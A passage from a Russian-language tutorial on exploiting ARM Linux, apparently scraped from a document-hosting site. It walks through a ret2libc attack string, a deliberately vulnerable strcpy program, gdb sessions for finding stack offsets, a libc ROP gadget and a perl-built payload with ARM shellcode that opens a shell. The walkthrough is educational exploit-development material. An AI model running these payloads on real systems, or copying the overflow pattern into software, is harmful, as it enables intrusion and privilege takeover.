Переведено для codeby. Net
//bin/sh; # # \xB4\xA7\xAC\xBE \xA0\xA7\xAC\xBE \xD0\xAF\x05\x40
Download 0.92 Mb. Pdf ko'rish
|
эксплуатация систем arm linux AFANX
- Bu sahifa navigatsiya:
- 4.2.4 Return oriented programming
- Алгоритм 3 Вторая уязвимая программа (test2.c)
//bin/sh; # # \xB4\xA7\xAC\xBE \xA0\xA7\xAC\xBE \xD0\xAF\x05\x40
Рис. 15: ret2libc строка атаки 36 И вуаля: root@armstation# ./test ‘printf "/bin/sh;##\xb4\xa7\xac\xbe\xa0\ > \xa7\xac\xbe\xd0\xaf\x05\x40"‘ sh-3.2# exit exit Наш первый shell готов! Сплойт работает, потому что она выполняет команду C: system("/bin/sh;#Some comment..."); Строка играет двойную роль: это команда оболочки, но она также перезаписывает адреса в стеке. Однако наша уязвимая программа - это "легкий случай". Мы увидим, как можно эксплуатировать более реалистичные (и сложные) программы в следующем разделе. 4.2.4 Return oriented programming Как мы видели, эксплуатировать простую программу очень легко. Но мы не можем ожидать что сложные программы оставят для нас регистры нетронутыми. Часто встречаются вызовы других функций, сразу после strcpy () (или аналогичных), как в случае следующей уязвимой программы: Алгоритм 3 Вторая уязвимая программа (test2.c) #include #include #include void donuts () { puts(”Donuts...”); exit(0); } void vuln(char ∗arg){ char buff[10]; strcpy(buff, arg); printf(”Cleaning %d %d %d ...”, 1, 2, 3); } int main(int argc, char ∗∗argv){ vuln(argv[1]); return 0; } 37 Когда программа выполняет вызов printf(), значения регистров r0, r1, r2 и r3 заменяются новыми аргументами. Мы можем убедиться в этом, взглянув на дизассемблированный код новой функции vuln(): root@armstation# gcc -o test2 test2.c root@armstation# gdb ./test2 ... (gdb) disass vuln Dump of assembler code for function vuln: 0x00008444 0x00008448 0x0000844c 0x00008450 0x00008454 0x00008458 0x0000845c 0x00008460 0x00008464 0x00008468 0x0000846c 0x00008470 0x00008474 0x00008478 0x0000847c 0x00008480 0x00008484 0x00008488 End of assembler dump. (gdb) По адресу 0x00008468 начали подготавливаться регистры с аргументами которые нужны printf() по адресу 0x00008478. Когда vuln() возвращается, регистры содержат только бесполезные значения, как мы можем видеть из этого "скриншота": (gdb) b vuln Breakpoint 1 at 0x8458 ... (gdb) nexti 0x00008484 in vuln () (gdb) info reg r0 0x11 17 r1 0x8581 34177 r2 0x4014a010 1075093520 r3 0x1 1 r4 0x84d0 34000 r5 0x0 0 r6 0x8360 33632 r7 0x0 0 r8 0x0 0 r9 0x0 0 r10 0x40025000 1073893376 r11 0xbe9be700 3197888256 r12 0x0 0 sp 0xbe9be7b0 0xbe9be7b0 38 lr 0x84b8 33976 pc 0x8484 0x8484 fps 0x0 0 cpsr 0x60000010 1610612752 (gdb) Ситуация несколько трагична. Подведем итоги: Мы не можем напрямую управлять регистрами r0-r3 (аргументы функции). Мы не знаем адрес стека (чтобы косвенно получаем адрес массива с нашей строкой) Мы имеем контроль над регистрами r11, r13 (sp), r14 (lr). Мы можем попробовать посмотреть, сможем ли мы найти участок памяти, который указывает на стек. Первым местом, где следует искать, являются регистры, но ни один из них в данном случае не указывает непосредственно на стек. Однако, регистр r10 содержит интересное значение (0x40025000), которое похоже, не меняется между различными выполнениями программы. Этот будет следующим местом для исследования. Мы будем проверять значения (по 4 слова за раз), начиная с 0x40025000, двигаясь вперед, пока не найдем что-нибудь интересное: (gdb) x/4x 0x40025000 0x40025000: 0x00024f44 0x00000000 0x00000000 (gdb) (enter to repeat the last command...) 0x40025010: 0x0000076c 0x0000076c 0x0000076c (gdb) 0x40025020: 0x00000cfc 0x00015e84 0x00000000 (gdb) ... (gdb) 0x40025680: 0x4014e000 0x4014db70 0x00011000 (gdb) 0x40025690: 0x00000000 0x00000000 0x00000000 (gdb) Мы нашли то, что искали: статический адрес памяти, который указывает на (немного дальше) стека vuln(). Значение 0xbef72a90 (адрес 0x4002569c) в данный момент, но оно изменится при дальнейшем выполнении. Поскольку 0xbef72a90 не указывает точно на наш буфер, мы должны удлинить нашу атакующую строку: Breakpoint 1, 0x00008458 in vuln () (gdb) nexti ... 0x00008484 in vuln () (gdb) x/x 0x4002569c 0x4002569c: 0xbe97faa0 (gdb) x/4x 0xbe97faa0 39 0xbe97faa0: 0x44444343 0x41414444 0x42424141 0x43434242 (gdb) Это, конечно же, символы нашей атакующей строки. Давайте рассчитаем смещение: (gdb) x/4x 0xbe97faa0-400 0xbe97f910: 0x00000000 0x41418360 ... (gdb) x/4x 0xbe97faa0-394 0xbe97f916: 0x41414141 0x42424242 0x43434343 0x44444444 (gdb) В результате нескольких попыток (сначала мы вычитали 400 байт, а затем уточнили значение) мы определили, что значение (содержащееся по адресу 0x4002569c) указывает на 394 байта дальше начала нашей строки. Таким образом, если мы хотим передать шеллкод(shellcodes и shellcoding будут описаны позже, в главе "ARM Shellcoding") в программу и сделать его доступным во время выполнения, мы знаем, где он должен быть размещен. Проблема возникает только в том случае, если мы хотим использовать шеллкод: перенаправить поток выполнения на стек. Для этого мы используем немного программирования, return-oriented programming (ROP). Возвратно-ориентированное программирование (ROP) - это обобщение return- to-libc. В этой технике злоумышленник использует контроль над стеком вызовов для косвенного выполнения групп машинных инструкций, непосредственно предшествующих инструкции возврата в подпрограммы, в рамках существующего программного кода(Более подробно о ROP : http://en.wikipedia.org/wiki/Return-to-libc attack). Рис. 16: ROP Хотя эта техника гораздо эффективнее на x86, где стек обрабатывается по- другому, мы можем использовать ее для простых операций. 40 Нам нужен фрагмент кода, который загружает адрес шеллкода в регистр и, сразу после этого, выполняет инструкцию ветвления с тем же регистром. После небольшого исследования кода libc, вот код, который нам нужен: 00014f8c ... 14fd0: e49de004 pop {lr} ; (ldr lr, [sp], #4) 14fd4: e12fff1e bx lr ... Переход по адресу 0x4003afd0, 0x40026000 + 0x14fd0 = 0x4003afd0 внутри функции gnu_get_libc_version(), сначала адрес шеллкода будет будет загружен в регистр ссылки из стека. Затем, с помощью инструкции bx lr, будет выполнен шеллкод. Рис. 17: Схема эксплойта Нам остается только исправить нашу атакующую строку(для этого примера был использован шеллкод написанный Джонатам Салван: http://www.exploit- db.com/exploits/14907/) на новые значения и запустить эксплойт: root@armstation# ./test2 ‘perl -e ’print "AABBBBCCCC"; > print "\x9c\x56\x02\x40"; > print "\x9c\x56\x02\x40"; > print "\xd0\xaf\x03\x40"; > print "AAAA"x93; 41 > print "\x01\x30\x8f\xe2"; > print "\x13\xff\x2f\xe1"; > print "\x78\x46\x08\x30"; > print "\x49\x1a\x92\x1a"; > print "\x0b\x27\x01\xdf"; > print "\x2f\x62\x69\x6e"; > print "\x2f\x73\x68";’‘ sh-3.2# exit exit У нас получилось! Несмотря на трудности, и эта программа превратилась в shell. Здесь необходимо сделать размышление. В документе предполагается, что стек является исполняемым, но на современных системах это условие не всегда выполняется. Однако, вероятно, у вас больше контроля над стеком (например: на Android регистр sp не перезаписывается (Интересная презентация на эту тему: http://imthezuk.blogspot.com/2011/01/black- hat-dc-presentation.html) ), и нет необходимости искать адрес косвенно, как мы сделали мы. Однако, независимо от обстоятельств, главное - всесторонне изучить программу и подойти к делу творчески. Многие приемы зависят от компоновки памяти уязвимой программы и не могут быть предсказаны заранее. Если не позволять себе унывать и продолжать экспериментировать, то, скорее всего, если способ эксплуатации программы существует, он будет обнаружен(техники эксплойта для неисполняемых стеков Itzhak Avraham: http://www.exploit-db.com/download pdf/16030) . Download 0.92 Mb. Do'stlaringiz bilan baham: |
Ma'lumotlar bazasi mualliflik huquqi bilan himoyalangan ©fayllar.org 2024
ma'muriyatiga murojaat qiling
ma'muriyatiga murojaat qiling